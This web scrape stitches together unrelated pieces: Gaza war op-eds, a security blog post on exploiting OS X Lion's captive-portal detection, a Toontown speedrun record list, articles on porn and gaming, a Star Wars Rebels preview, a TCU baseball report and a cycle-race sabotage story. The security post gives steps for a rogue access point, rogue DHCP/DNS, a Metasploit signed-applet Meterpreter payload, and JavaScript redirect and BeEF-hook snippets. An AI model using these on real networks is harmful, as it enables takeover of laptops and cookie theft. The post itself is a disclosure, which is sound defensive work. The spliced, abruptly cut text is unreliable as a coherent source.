Haaretz 27 July — How can a preventable war be justified? And how can one wrap oneself in its rightness in the presence of the horror-show images from Gaza? — It began as a war of choice: A different Israeli policy in the last few months might have prevented it. It evolved into a pointless war. It’s already pretty obvious that it will not result in any long-term achievements. It could still deteriorate into a disaster, and in the end will turn out to have been a war of deception – Israel lied itself to ruination. The first deceit was that there was no alternative. True, when the rocket barrages landed on Israel, that was the case. But what about the steps that led up to them? They were steps to which there were other options. It isn’t difficult to imagine what would have happened had Israel not halted the peace talks; had not launched an all-out war on Hamas in the West Bank, in the wake of the murder of the three Israeli teenagers; had not held up the transfer of funds earmarked for the payment of government salaries in the Gaza Strip; had not opposed the Palestinian unity government; and had eased up on its blockade of the Gaza Strip. The Qassam rockets were a response to Israel’s choices. Afterward the goals snowballed, as they always do in wars – from stopping the rockets, to finding and destroying the tunnels, and on to the demilitarization of Gaza. They might well continue to snowball, to who knows where … The second deceit is that the occupation of the Gaza Strip has ended. Imagine a besieged enclave, whose inhabitants are imprisoned, much of whose affairs are controlled by another state — from maintaining a population registry to running the economy, including prohibiting exports and restricting fishing, and which flies in its skies and occasionally invades its territory. Is that not occupation? The third deceit is the claim that the Israel Defense Forces “does everything in its power” to avoid killing civilians. We’ve already passed the first thousand deaths, a frightening number of them children and the majority of them civilians; with neighborhoods that have been flattened and 150,000 displaced persons with nowhere safe to run. All that makes the claim nothing more than a bitter joke. The claim that the world supports the war and recognizes its justness is also an Israeli deception … The next deception is that this war has shown “the People of Israel” to be “a wonderful nation.” It’s been a long time since there has been such a mendacious, intoxicating, saccharine and self-congratulatory campaign.
http://www.haaretz.com/opinion/.premium-1.607306
Shock-and-awe unlikely to work on Hamas, Gazans / Zvi Bar’el
Haaretz 27 July — Israel is banking on scope of destruction to cow the enemy, but is making the wrong assumptions — The purpose of the “humanitarian cease-fire,” as Saturday’s lull in the fighting was euphemistically called, was to show the inhabitants of Gaza, and especially the Hamas leadership, the scope of the devastation that the Israeli army’s attacks had caused. The assumption was that if the leadership could only see for themselves what had happened in Gaza, it would soften and agree right away to the original Egyptian proposal or a more moderate version that would be drawn up during the diplomatic talks. It is hard to understand exactly what the grounds for that assumption were. After all, if Israel and its friends perceive Hamas as a group that cares nothing about the death toll and the amount of devastation, then they have no reason to expect Hamas to be shocked by humanitarian concerns. The belief that the Gazan public would rebel against Hamas’ leadership and demand that it stop shooting immediately is also groundless. The public in Gaza did not rebel against Hamas throughout the eight years of its regime, even when the number of its dead during Operation Cast Lead surpassed the number of people killed in Operation Protective Edge, or even when the siege was at its height, before the smuggling tunnels eased the economic hardships there … Another Israeli assumption is that Hamas will not be able to dictate conditions to Egypt, and that any agreement it might achieve would have to be approved by Egypt. But Hamas has succeeded in extricating the talks from the Egyptian-Israeli grip, and now Egypt finds itself facing American and European pressure.
http://www.haaretz.com/news/diplomacy-defense/.premium-1.607444
Israel murders soldier to prevent his capture / Richard Silverstein
Tikkun Olam 28 July — I’ve devoted a good deal of my life to Israel. I’ve studied, read, visited, lived, breathed it. Not in the way diehard pro-Israel fanatics do. But in a different way that matched my own intellectual and political proclivities. It’s a subject that is rich, varied, troubling, bedeviling, and exhilarating. But every once in a while I learn something I never thought possible; and I don’t mean this in a good way. Tonight, my Israeli source informed me that Sgt. Guy Levy, serving in the armored corps, was captured by Hamas fighters. He had been part of a joint engineering-armored-combat unit searching for tunnels. Troops entered a structure and discovered a tunnel. Suddenly, out of the shaft sprang two militants who dragged one of the soldiers into it. By return fire, one of the Palestinians was killed, while the other fled, presumably with the soldier. This Israeli report, which was censored by the IDF, says only that the attempt to capture the soldier failed. It says nothing about his fate. The expectation of anyone reading it would be that the soldier was freed. But he was not. In order to prevent the success of the operation, the IDF killed him. Nana reports that the IDF fired a tank shell into the building, which is the same way another captured soldier was killed by the IDF during Cast Lead … To the uninitiated this will seem a terribly strange, uncivilized, even immoral act. But that’s where I learned something I’d never known before about the IDF. There is an unwritten secret regulation written by the IDF High Command, but nowhere codified in writing … The Hannibal Directive is: …A secret directive of the Israel Defense Forces with the purpose of preventing Israeli soldiers being captured by enemy forces in the course of combat …The order, drawn up in 1986 by a group of top Israeli officers, states that at the time of a kidnapping the main mission becomes forcing the release of the abducted soldiers from their kidnappers, even if that means injury to Israeli soldiers. The order allows commanders to take whatever action is necessary, including endangering the life of an abducted soldier, to foil the abduction.
http://www.imemc.org/article/68637
groups.yahoo.com/group/f_shadi (listserv)
www.theheadlines.org (archive)Background
Recently, Apple has released the newest version of its flagship operating system OS X, 10.7 "Lion".
According to wired.com's live blog of Apple's press conference, OS X 10.7 has already been downloaded more than 6 million times. Along with numerous new features, the newest version now features auto-recognition of "captive portals".
A captive portal is a page that users are redirected to when they join a network. They usually host information about Terms of Service and occasionally a login. Many users typically run across these when joining to wireless networks at hotels, coffee shops, or airports.
The new feature in OS X 10.7, that has been present in iOS for some time now, is designed to notify users of this portal so they can accept the terms of service or log in as necessary to ensure that the device has an active network connection. This makes it possible for applications that run in the background, such as email client applications, to continue to function without the user have to check for connectivity when joining a new network.
This new feature also poses a large security risk. When an OS X laptop joins onto a network, which contains a captive portal, a window is automatically opened to prompt the user to interact with it. This presents a large security risk if an attacker can control this functionality.
OS X detects the captive portal by requesting the URL: http://www.apple.com/library/test/success.html.
However, when this request fails (such as when a captive portal is present) the page that is returned will be opened in a special browser window. An important characteristic to note about this feature is that it appears to only affect open wireless networks, not networks encrypted with WEP or WPA.
The Attack
Attackers can control the captive portal page by using already known techniques, such as those employed by Karmetasploit. Attackers can configure DHCP servers and host rogue DNS servers, poison DNS servers, or even Man in the Middle network segments to intercept the DNS request to www.apple.com.
Once the attacker can redirect traffic from the client to the attacker's system instead of Apple, they can perform a variety of attacks via JavaScript. For example, Metasploit's auxiliary/server/capture/http module can be used to steal the user's cookies, a page containing a BeEF hook could be used, or most interestingly, a page redirecting to a Java-based Meterpreter payload could be used.
Although these attacks are nothing new to the browser exploit world, one key factor makes this issue more concerning: this attack vector now requires no user interaction to be initiated.
The Scenario
Laptop users, such as OS X 10.7 users, often visit coffee shops. It is reasonable to assume that CoffeeShopX could be a valid SSID remembered by their shiny Mac Book Pro running OS X 10.7.
An attacker with this knowledge could set up an open rogue access point broadcasting an SSID of CoffeeShopX, while controlling the DHCP and DNS servers. Once the victim OS X 10.7 system joins this wireless network, the request to www.apple.com would be redirected to the attacker.
The attacker can then redirect the user to a Java Meterpreter shell using the following steps:
a. Attacker may set up their own network with an AP, spoofing a popular SSID known by their victim
b. Connect to an existing wireless network and deplete the DHCP pool of all addresses
c. Use a soft AP technique to respond to all wireless probe requests to receive clients
1) Connect to a wireless network
2) Use Metasploit's auxiliary/server/dhcp module to run a rogue DHCP server and configure the DNS server to the attacker's IP
3) Use Metasploit's auxiliary/server/fakedns module to run a DNS server to redirect requests to www.apple.com to the attacker's IP address
4) Use Metasploit's exploit/multi/browser/java_signed_applet to configure a malicious webserver:
a. Configure the Target to be 0 (Generic Java Payload)
b. Leave SRVPORT 8080
c. Set URIPATH to /portal
d. Configure SigningCert and SigningKey
5) Host a simple index.html page on port 80 that will redirect to http://www.apple.com:8080/portal via a simple JavaScript tag.
Contents of the index.html page:
<! D O C T Y P E H T M L P U B L I C " - / / W 3 C / / D T D H T M L 3. 2 / / E N " >
< H T M L >
< T I T L E > C a p t i v e P o r t a l < / T I T L E >
< / H E A D >
< B O D Y >
C a p t i v e P o r t a l < b r / >
< s c r i p t t y p e = " t e x t / j a v a s c r i p t " > w i n d o w. l o c a t i o n = " h t t p : / / w w w. a p p l e. c o m : 8 0 8 0 / p o r t a l " < / s c r i p t > <! - - A r b i t r a r y R e d i r e c t - - >
< / B O D Y>
< / H T M L >
6) Wait for users to connect and profit.
This attack assumes that the user has already installed Java within their browser; however, if the user has not they will be prompted to install it. The attempt to install Java will fail without further configuration (outside of the scope of this blog) due to the attacker's position.
When the users view the Java payload within their captive portal window, they will be presented with a dialog asking them to allow an applet from "www.apple.com" to access their computer. Most users will accept this and select allow, thereby causing the malicious Java payload to be executed without the user ever having to open a browser.
Alternative attack scenarios could be used in which the attacker relies on malicious JavaScript within a BeEF hook to control the captive portal window. This is a less reliable vector because users are likely to close this window when they do not see anything of interest.
This similar functionality within the iOS used on iPhones and iPad's can also be vulnerable to this attack; however, the attacker is limited to using JavaScript based payloads instead of Java.
It is important to note that it is feasible that an attacker might perform other actions before redirecting the victim to their Java shell, such as stealing cookies. Despite not looking like Safari, the captive portal window appears to be capable of relinquishing cookies from Safari to an attacker.
< s c r i p t t y p e = " t e x t / j a v a s c r i p t " > w i n d o w. l o c a t i o n = " h t t p : / / w w w. a p p l e. c o m : 8 0 8 0 / i _ c a n _ h a z _ a s 4 0 0. j p g " < / s c r i p t > <! - - A r b i t r a r y R e d i r e c t - - >
< s c r i p t t y p e = " t e x t / j a v a s c r i p t " > w i n d o w. o p e n ( " h t t p : / / w w w. a p p l e. c o m : 8 0 8 0 / i _ c a n _ h a z _ a s 4 0 0. j p g " ) < / s c r i p t > <! - - A r b i t r a r y R e d i r e c t - ->
< s c r i p t t y p e = " t e x t / j a v a s c r i p t " s r c = " h t t p : / / w w w. a p p l e. c o m : 3 0 0 0 / h o o k. j s " > < / s c r i p t > <! - - S t a n d a r d B e E F H o o k - ->
< s c r i p t t y p e = " t e x t / j a v a s c r i p t " > d o c u m e n t. w r i t e ( " J a v a E n a b l e d : < b > " + n a v i g a t o r. j a v a E n a b l e d ( ) + " < / b > < b r / > " ) ; < / s c r i p t > <! - - J a v a C h e c k - ->
Spencer McIntyre (Feature abuse R&D)
Tom Eston (Hardware/Software)
Jake Garlie (Helping with initial Proof-of-Concept)
Chris Murrey (Helping with initial Proof-of-Concept)
Matt Neely (Pointing out the "feature")
Example of JavaScripts that work:Special thanks to the following members of the SecureState Profiling Team:
Find out more about the tools related to this attack here:
BeEF: http://beefproject.com/
Metasploit: http://www.metasploit.com/
Cross-posted from the SecureState Blog.New Records
Spoiler for New Records (04/08 - 04/18): 04/17
Fastest Solo CFO Crane Round: McSwirl 04/17/2015
Fastest GO Bullion Mint: McSwirl, Joyce Manor, Emperorzero & Amy 04/16/2015 Floor 2 - 36 cogs
Fastest CFO Crane Round: 1:31 McSwirl, Joyce Manor, Emperorzero, Amy, Princess Pinky & Feint 04/15/2015
Fastest 6-Toon CFO Crane Round: 1:31 McSwirl, Joyce Manor, Emperorzero, Amy, Princess Pinky & Feint 04/15/2015
Fastest GO 6-Toon CFO: 10:43 McSwirl, Joyce Manor, Emperorzero, Amy, Princess Pinky & Feint 04/15/2015
Fastest GO 6-Toon CFO Cog Round: 8:15 McSwirl, Joyce Manor, Emperorzero, Amy, Princess Pinky & Feint 04/15/2015
04/15
Fastest 6-Toon VP Pie Round: 2:01 McSwirl, Joyce Manor, Emperorzero, Princess Emily, Princess Pinky & Nostalgia 04/13/2015
Fastest 4-Toon VP Pie Round: 2:10 McSwirl, Joyce Manor, Emperorzero & Princess Pinky 04/13/2015
Fastest GO 6-Toon VP: 9:29 McSwirl, Joyce Manor, Emperorzero, Princess Emily, Princess Pinky & Nostalgia 04/13/2015
Fastest GO 4-Toon VP: 13:27 McSwirl, Joyce Manor, Emperorzero & Princess Pinky 04/13/2015
Fastest GO 6-Toon VP Cog (both) Round: 6:05 McSwirl, Joyce Manor, Emperorzero, Princess Emily, Princess Pinky & Nostalgia 04/13/2015
Fastest GO 4-Toon VP Cog (both) Round: 10:01 McSwirl, Joyce Manor, Emperorzero & Princess Pinky 04/13/2015
Fastest Screwball Stadium: McSwirl 04/12/2015
04/14
Fastest Gags-Only Solo Factory (35 cogs): Pein 04/08/2015
Fastest Gags-Only Flawless Solo Factory (35 cogs): Pein 04/07/2015
Fastest Extreme Solo Factory (35 cogs): Sharingan Jr. 04/05/2015
Fastest Gags-Only Solo Factory (35 cogs) (level 7's): Sas 04/14/2015
04/13
Fastest 1-Story Solo Cog Building: 0:12 Clark 04/13/2015 Maple Street - Level 6 Boss
Fastest Solo Lawyer Stun (9 lawyers): Joyce Manor 04/13/2015
04/12
Fastest Solo Dollar Mint: Connie 04/12/2015 Floor 3 - 24 cogs
04/11
Fastest Duo CFO: McSwirl & Joyce Manor 04/11/2015
Fastest Duo CFO Crane Round: McSwirl & Joyce Manor 04/11/2015
Fastest Screwball Stadium: Connie 04/11/2015
Fastest Duo Office C: Cloud & Princess Gwen Funnymuffin 04/11/2015
Fastest 4-Toon CJ (no bonus weight): Sav, Sas, Master Jake Electrowoof & Sharingan Jr. 02/21/2015 10 Toon Jury
Fastest 4-Toon CJ Evidence Round (no bonus weight): Sav, Sas, Master Jake Electrowoof & Sharingan Jr. 02/21/2015 10 Toon Jury
04/10
Fastest VP: 6:42 McSwirl, Joyce Manor, Ozzie, Emperorzero, Princess Emily, Princess Pinky, Nostalgia & Sir Chunky Jr. 04/10/2015
Fastest VP Cog (both) Round: 3:28 McSwirl, Joyce Manor, Ozzie, Emperorzero, Princess Emily, Princess Pinky, Nostalgia & Sir Chunky Jr. 04/10/2015
Fastest VP Pie Round: 1:59 McSwirl, Joyce Manor, Ozzie, Emperorzero, Princess Emily, Princess Pinky, Nostalgia & Sir Chunky Jr. 04/10/2015
Fastest Duo VP: McSwirl & Joyce Manor 04/10/2015
Fastest Duo VP Cog (both) Round: 4:53 McSwirl & Joyce Manor 04/10/2015
Most SOS Toons Owned: Ozzie 04/10/2015
Fastest Solo Coin Mint: Clark 04/10/2015 Floor 1 - 16 cogs
Fastest Blizzard Boulevard Reverse: Skipper Jumblezaner 04/10/2015
04/09
Least Rewards Used in CJ Solo: Sav 04/09/2015 28 SOS Toons & 4 Unites
Fastest Duo VP Pie Round: McSwirl & Joyce Manor 04/09/2015
04/08
Fastest OMA CFO: Orpheus, Jaded Renegade, Adrian & Velocifero 04/08/2015
Fastest OMA CFO Cog Round: Orpheus, Jaded Renegade, Adrian & Velocifero 04/08/2015
Fastest OMA CFO Crane Round: Orpheus, Jaded Renegade, Adrian & Velocifero 04/08/2015
Fastest Gags-Only Duo Factory (35 cogs): McSwirl & Joyce Manor 04/08/2015
Fastest Extreme Duo Factory (35 cogs): McSwirl & Joyce Manor 04/08/2015
Fastest Corkscrew Coliseum: Emerald Crystal 04/08/2015
Fastest Airborne Acres: Emerald Crystal 04/08/2015
Fastest Airborne Acres Reverse: Emerald Crystal 04/08/2015 FastestCFO Crane Round: 4:58 Fastest GO Bullion Mint: 9:58 Fastest CFO Crane Round:FastestCFO Crane Round:Fastest GOCFO:Fastest GOCFO Cog Round:FastestVP Pie Round:FastestVP Pie Round:Fastest GOVP:Fastest GOVP:Fastest GOVP Cog (both) Round:Fastest GOVP Cog (both) Round:Fastest Screwball Stadium: 1:51.18 Fastest Gags-OnlyFactory (35 cogs): 14:23 Fastest Gags-OnlyFactory (35 cogs): 14:27 Fastest ExtremeFactory (35 cogs): 16:37 Fastest Gags-OnlyFactory (35 cogs) (level 7's): 11:18 FastestCog Building:Fastest Solo Lawyer Stun (9 lawyers): 5.20 FastestDollar Mint: 5:53 FastestCFO: 12:37 FastestCFO Crane Round: 4:26 Fastest Screwball Stadium: 1:51.40 FastestOffice C: 19:18 FastestCJ (no bonus weight): 30:13 FastestCJ Evidence Round (no bonus weight): 11:22 Fastest VP:Fastest VP Cog (both) Round:Fastest VP Pie Round:FastestVP: 8:55 FastestVP Cog (both) Round:Most SOS Toons Owned: 921 SOS Toons FastestCoin Mint: 3:52 Fastest Blizzard Boulevard Reverse: 2:58.79 Least Rewards Used in CJ Solo: 32 rewards FastestVP Pie Round: 2:39 Fastest OMA CFO: 14:13 Fastest OMA CFO Cog Round: 5:47 Fastest OMA CFO Crane Round: 7:25 Fastest Gags-OnlyFactory (35 cogs): 7:59 Fastest ExtremeFactory (35 cogs): 9:42 Fastest Corkscrew Coliseum: 3:18.89 Fastest Airborne Acres: 5:48.87 Fastest Airborne Acres Reverse: 5:50.03
General Rules
Spoiler for General Rules: 1. All entries must be from Toontown Rewritten. Beta entries are allowed, Alpha entries are not.
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Definitions
Spoiler for Definitions: Duo – Two toons in battle from start to finish.
Extreme - All toons must only use gags and sound is restricted. No rewards or level 7's are allowed unless otherwise stated.
Flawless – One must not lose any laff at any point even if it is gained back. It is not needed to start at one laff.
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King - A user who has had the most points for a certain period of time.
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Reverse Uber – A toon whose highest gags are Cream Pie (2000) and Squirt Gun (50) with all other gag tracks at level one. This type of toon does not seek to gain gag experience.
Rewards – SOS Toons, Unites & Fires. Doodles are not considered as rewards.
Solo – One toon in battle from start to finish.
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Official Rule Book Last Updated: 04/10/2015
Point System Last Updated: 04/15/2015
Point Leaderboard Last Updated: 04/17/2015
Secondary Toons Last Updated: 04/15/2015
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Hall of Kings
Spoiler for Hall of Kings: King Nate
01/25 – 01/26 Most: 12 records
Feint
01/26 – 01/27 Most: 15 records
Pepper
01/26 – 01/27 Most: 15 records
Emperorzero
01/28 – 01/28 Most: 13 records
King Ozzie Wondertoon
01/28 - 01/30 Most: 17 records
Pelican
01/30 - 02/07 Most: 22 records
Orpheus
02/07 - 03/27 Most: 37 records
Doctor Joe
02/14 - 02/15 Most: 20 records
McSwirl
03/27 - 04/05 Most: 43 records
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McSwirl
04/05, 04/07 -?? Most: 111.0 points
Orpheus
04/05 - 04/08 Most: 74.0 points
Longest Reign:
48 days Orpheus 02/07/2015 - 03/27/2015 Last edited by C.J. Crumbleknees; 04-18-2015 at 03:53 AM.. Reason: McSwirl Solo CraneDo you prefer online porn to meeting real women? Go on, be honest. Well, actually, you don’t have to, do you? You can create an online persona and have a great time lying about your looks, your salary, your penis size...
What do you like best? Being at home or being at the office? Is the wifi a bit faster at the latter? Is it secretly rather satisfying, the whooshing sound of big attachments arriving in a job lot at 8am, which is when you get in, even if you’re only paid from nine till five?
And football? Is a big Champions League match on a big screen in a big pub more fun – really more fun, as in smiles, laughs, swear words – than running round a field on a Sunday morning? You can, after all, top up your muscle fibre with an hour at the gym, or by using the stairs at work. Then again, why not give it a rest and work on those finger muscles and imagine your single-handedly wiping out Isil, and your ex-wife, and that colleague who always gets the best-looking women, on your favourite game?
Technology is changing men. According to Philip Zimbardo, co-author of a new book, Man (Dis)connected: How Technology has Sabotaged What It Means to Be Male, “Technology attracts men. We have a natural affinity with it. It can obviously be a great thing in that in can enable, say, shy people to do things they otherwise wouldn’t.
“But the problem is that some guys are using it to excess and are not actively social because they are living in a virtual world.”
Americans spend 60 hours a week plugged into the four main digital devices: high-definition televisions, computers, tablets and smartphones. Last year, research by communications regulator Ofcom showed that UK adults spend an average of eight hours and 41 minutes per day on media devices.
Zimbardo’s research also covers the products we access, in particular online porn and video games.
• How porn is rewiring male brains
“Video games and porn are this safer place for many young men. They become increasingly adept and skilled at gaming, refining their skills, and they can achieve high status and respect within the game. This is not something you see women doing, because they often don’t find those kinds of competitions meaningful, nor do they receive respect for developing their gaming skills.”
The statistics on video game consumption are staggering. In 2012 Call of Duty: Black Ops 2 made $500 million in sales in its first 24 hours. The following year, more than 8,300 stores across North America had midnight openings to help Grand Theft Auto 5 take in $800 million in its first day; the game went on to rack up $1 billion in only three days, faster than any movie in history.
In 2013, the worldwide revenue of the gaming industry, including mobile games played on smartphones and tablets, was $66 billion, a $3 billion increase from 2012.
Video games and porn are'safe places' for many young men (Photo: Alamy)
• Confessions of a video |
to turn to porn to help fund a prohibitively expensive college degree. She could have simply went to Vanderbilt (still one of this nation’s elite schools) and gotten a quality degree. Why didn’t she do this? Why did she go to Duke and end up in her current position?
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I visited Duke last year on Blue Devil Days [Duke’s programmed weekend for admitted freshmen], and I remember walking into the Duke Chapel — I’m a very spiritual person — and just feeling an energy that told me, “This is the place you need to be.” And I felt something in the chapel in that moment that told me that I needed to be here and go to Duke and it was something that would be an amazing experience for me.
She did it because she felt entitled to the school that satisfied her “feelings,” regardless of how much it cost. She’s a prep-school product from a well off family, and is used to getting precisely what she wants—there was no other option there in her mind. She also really likes porn, and a career in that industry was something she genuinely wanted:
I am not ashamed of porn. On the contrary, doing pornography fulfills me…
… For me, shooting pornography brings me unimaginable joy. When I finish a scene, I know that I have done so and completed an honest day’s work. It is my artistic outlet: my love, my happiness, my home.
I can say definitively that I have never felt more empowered or happy doing anything else.
Belle Knox was not forced into the situation she is in. She was not shoved into the adult industry against her will. She got there due to a series of decisions she made freely of her own accord. And her choice was not to fight the objectification of women as so many feminists claim to want to do—on the contrary, she chose to embrace that objectification by becoming a pornstar, claiming in one video to “love” the thought of millions of men masturbating at the sight of her having sex. She was intelligent enough to avoid doing this and had other options available, but chose this path anyway.
Despite clearly wanting to be objectified (and deriving a substantial amount of pleasure from said objectification), Belle attempts to take a stand against the objectification of women, which she claims is rife on her college campus and a source of many problems:
If you look at the anonymous CollegiateACB forums of other schools, there are maybe four topics. At Duke, there are 800 topics. All of them are “rate freshman girls on a scale of one to 10” or “which Asian has the biggest boobs.” So Duke has this — and I blame the Greek system a lot for this — culture of objectifying women.
And yet…
I was just sitting in my dorm one day and said to my roommate, “Fuck it, I’ll be a porn star.” So I Googled “how to be a porn star” and came up with all these agencies. I had no idea you could apply to be a porn star; I thought someone came up to you and scouted you at a mall. I sent in my info and a couple of my pics and literally the next day all these agencies were calling me. I started talking to all these agents who thought I could be making six figures and saw real potential for me in the industry. I was like, “Oh my God. Let’s do this. Let’s go.”
Feminists want to fight the objectification of women. Like I said above, they prioritize the female mind and spirit and want women to be considered for more than their tits, butts and vaginas. Belle Knox stands with feminists in this regard, and considers this objectification of women a serious problem with serious negative consequences…
…so serious and so negative, in fact, that she then proceeded to eagerly enter an industry entirely built on said objectification, one in which her value and earning potential would be measured almost entirely in her ability to get millions of men across the country to “objectify” her fully exposed body as she engaged in a variety of highly explicit (and, occasionally, somewhat extreme) sexual acts.
I’m not one of those feminists, so I don’t really care about what “Belle Knox” has chosen to do with her sexuality. The fact that her behavior could be considered slutty is not particularly relevant to me. If she thinks that deepthroats are “empowering,” then more power to her (and to the men she’s “empowering” herself with). Her decision to rely on her sexuality and appearance as opposed to her intellect is hers and, if we’re to buy into feminist notions regarding the sanctity of female choice, has to be respected. She can do whatever she wants.
It is also true, however, that this female’s actions are at odds with many feminist statements and objectives. For the many feminists who want to keep going on about the need to stop “objectifying” women and undervaluing their intellect by privileging their sexuality, it simply isn’t possible to celebrate a woman who has made a conscious decision to put her high intellectual capacity on the backburner in order to take a path that privileges her physical appearance and sexuality over all else. This girl’s actions have already put her into direct conflict with a very vocal bulk of the feminist hivemind, one that has had no problem attacking women for committing much less substantial deviations from their vision of the feminine ideal.
So, is “Belle Knox” a friend to feminism? I’m not so sure about that. For as many male enemies as Belle seems convinced that she made with her decision, I’m confident she made many more among women. Her actions stand in direct contradiction to objectives that many feminists hold dear and consider essential to female progress. If Belle is still seeking ideological shelter in this storm, I’m not sure she’ll be able to count on feminists to unanimously provide it.
Read Next: The Book “Feminism Is For Everybody” Confirms That Feminism Is Not For EverybodyYoda
Arriving soon, a special guest will be. Star Wars Rebels, the new animated Disney XD series set in a galaxy far, far away, is about to become very strong with the Force when Jedi master Yoda makes his presence known.
Though Rebels takes place between the two Star Wars movie trilogies — a time when the few surviving Jedis are in hiding from the Empire — the 800-plus-year-old icon is drawn from hiding to offer counsel to fledgling Jedi knight Kanan and his new padawan, Ezra, on the remote planet of Lothal. The twist: He only "appears" as a disembodied voice.
But what a voice it is. Frank Oz, who famously starred as the Yoda (in puppet and computer-generated form) in five of the Star Wars films, returns to the franchise for this episode. "I felt personally to keep Yoda as this disembodied thing it would confuse the audience less," says executive producer Dave Filoni, who also directed the installment. "I didn't want you to think Yoda could be teleporting from planet to planet."
It helped that Filoni was directing an actor so closely associated with one sci-fi's most beloved characters. "What's great about Frank, by keeping the voice very present and active, you do feel that it's a watchfulness and that he's speaking to you from afar," he says. "And I didn't want anyone to think that he had left Dagobah [the planet where Yoda first trains Luke Skywalker]. It was on the outer rim of what we do, but I think we were able to pull it off."
Star Wars fans will notice several homages to the lore, including The Empire Strikes Back and the final episodes of The Clone Wars. "This is show is meant to fit in with everything that's going on: Clone Wars, features, novels," Filoni says. "We do a lot of work to make sure there's continuity between these things now."
The episode, "Path of the Jedi" will air Monday, Jan. 5 at 9/8c on Disney XD. For those without the patience of a Jedi, it will be available on the Watch Disney XD app starting Monday, Dec. 29.
Subscribe to TV Guide Magazine now!The moment came up again for Luken Baker, and everyone held their breath.
But he flied out, and he thought that was it — he’d missed his chance.
Not quite. His teammates forced extra innings, the freshman DH came up again, and this time he didn’t miss.
Baker drilled a line-drive home run over the left field fence in the 10th inning to lift TCU to an 11-10 victory against West Virginia in the Big 12 tournament championship game Sunday at Chickasaw Bricktown Ballpark. It earned a home regional next week for the Horned Frogs; the pairings will be announced at 11 a.m. Monday on ESPNU.
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For Baker, it was his fourth home run in five games in the tournament — all to the same spot in the stadium — and he earned the Most Outstanding Player Award.
SHARE COPY LINK Horned Frogs closer Durbin Feltman, who grew up with Luken Baker, says he's not 'that surprised,' however, with the
TCU freshman Luken Baker set tournament records for hits (15) and runs scored (10) and hit four home runs, one shy of the tournament record, with 10 runs batted in.
“It was a little down, a little in, but it was a good pitch to hit,” Baker said.
That must have been the case all week for the 6-foot-4, 265-pound hitter from Spring. He went 15 for 22 with 10 runs scored, a double, four home runs, 11 RBIs and a 1.273 slugging percentage.
He walked twice, was hit by a pitch once, and struck out twice. He did not hit into a double play, and he had a.720 on-base percentage.
His hits and runs scored were tournament records.
And the home run, on a 3-1 fastball, was the 72nd hit of the tournament for the Frogs, breaking the record of 71 set by Baylor in six games in 2003 and Oklahoma in five in 1997.
“I sure am glad he came to college,” TCU coach Jim Schlossnagle said.
SHARE COPY LINK TCU coach says Horned Frogs had done enough before championship victory to host a home regional.
Baker turned down Major League Baseball so he could hit and pitch as a college player. His pitching season was cut short in April by a muscle strain. But nothing has slowed his batting.
Baker has five home runs in the past 10 games, starting May 15 at Baylor.
He’s just on a roll. And he’s getting good pitches to hit. And you see him really developing as a hitter. TCU coach Jim Schlossnagle on Luken Baker
“He’s just on a roll,” Schlossnagle said. “And he’s getting good pitches to hit. And you see him really developing as a hitter, more than just hitting line drives to right field, which he’s done most of the season. Now he’s starting to manage the barrel and do different things in the count when he gets count leverage.”
Baker saved a game in which TCU blew an 8-0 lead. The Frogs opened with a five-run first inning keyed by Evan Skoug’s two-run double.
West Virginia scored 10 runs over the third, fourth and fifth innings to lead 10-9. The go-ahead runs scored on a double by DH Kyle Davis, who finished with three RBIs for a tournament-record 14.
The double came off Ryan Burnett, who got the final out of the inning and pitched 2 1/3 scoreless innings.
TCU almost tied the game in the eighth inning when Skoug led off with a double, moved to third on a fly ball to medium left center from Baker — “I moved him over, but I didn’t get him in,” Baker said — and was cut down at the plate on a throw from second base.
The Frogs did tie it in the ninth. Josh Watson and Dane Steinhagen singled to open the inning, and Ryan Merrill tied the game with a sacrifice fly.
TCU won its eighth league tournament championship, and second in the Big 12, in 13 seasons under coach Jim Schlossnagle.
Meanwhile, TCU closer Durbin Feltman (3-0) pitched a scoreless eighth inning to keep it a one-run game, a scoreless ninth to keep it tied, and a scoreless 10th to win it.
Baker said after the eighth inning, he found Durbin and told him, “You’re going to get this win.”
And in the 10th inning, with one out and the bases empty, Baker got a chance to back up his words.
He got ahead 3-0 against West Virginia’s Blake Smith, took a breaking ball for a strike, then got a fastball.
His moment.
He didn’t miss.The attack on the race brought cyclists to a standstill/Pic: Richard Thomas Police are investigating after carpet tacks were spread across roads bringing a major cycle race to a halt. More than 3,500 people were taking part in the Etape Caledonia, over 81 miles around Pitlochry in Perthshire. It is the only cycle event in Britain where all the roads travelled on are closed - which has angered some locals. Tacks were strewn on a section of the race, bursting hundreds of tyres. Police said it was a reckless act and it was fortunate no-one was hurt. Cyclists ended up with damaged tyres and the event had to be stopped but organisers cleared the road and the race was completed. The winner Veli-Matti Raikkonen - who is originally from Finland and is a member of Aberdeen's Granite City racing team - was one of those who suffered a puncture after riding over the tacks. It is really not acceptable that this kind of behaviour is allowed to happen
Etape Caledonia spokeswoman A spokeswoman for the race said organisers were now working with Tayside Police to discover what had happened. She said: "The obstruction is a safety matter and it is one the organisers take very seriously." The lead group of riders suffered punctures on a section of road at Innerhadden and Schiehallion - about 43 miles into the course - and hundreds of other cyclists suffered punctures as they approached the area. The spokeswoman added: "It is really not acceptable that this kind of behaviour is allowed to happen. "The organisers identified the area, stopped the cyclists who were coming up to it to minimise the number who were affected, and they also dealt with the punctures very, very quickly." A spokesman for Tayside Police said: "It was fortunate no-one was injured as a result of this irresponsible behaviour. Uniformed and detective officers are carrying out inquiries in the area and are following a positive line of inquiry." 'Disgusting act' The event has been running for several years and has developed into the Perthshire Cycling Festival, but has brought protests over the disruption caused by the three-hour Etape Caledonia. Some campaigners are angry because they believe their freedom of movement is being restricted, visitors may be put off coming to the area, affecting tourism and business, and locals could be prevented from getting to church. Peter Hounam, from the Anti Closed Road Event (Acre) group, said: "Acre is against the closure of roads for cycle events in our area, we do not object to cyclists or people taking part in events. Cyclists were left angry and frustrated by the events/Pic: Allen Glen "We totally deplore anyone taking direct action and we want people to have peaceful protests. "We don't condone what has happened, but it shows there is real frustration from people who feel the authorities are not listening to them." He said the event discouraged tourists because of the road closures and that it did not bring the kind of sustainable tourism needed in Perthshire, as many of the participants only stayed overnight. But Kathy James, who runs a bed and breakfast in Aberfeldy, said the race brings millions of pounds to the area. She told BBC Scotland: "What they've done is they've spread, from Rannoch down to us, tiny, tiny carpet tacks - I've got one - they've just spread the road with them. "There's a chap outside who came off his bike, there's been a lot of people coming off their bikes and basically they had to stop the race further up. "This area relies on tourism, it disgusts me as a local, I just think there's no logic behind it." Biggest event Finance Secretary and North Tayside MSP John Swinney also expressed disgust over the incident. He added: "This is a highly dangerous act which could have brought serious injury to people on the event." Alun Pugh, a former member of the Welsh Assembly, travelled to Scotland for the race. He said: "It's 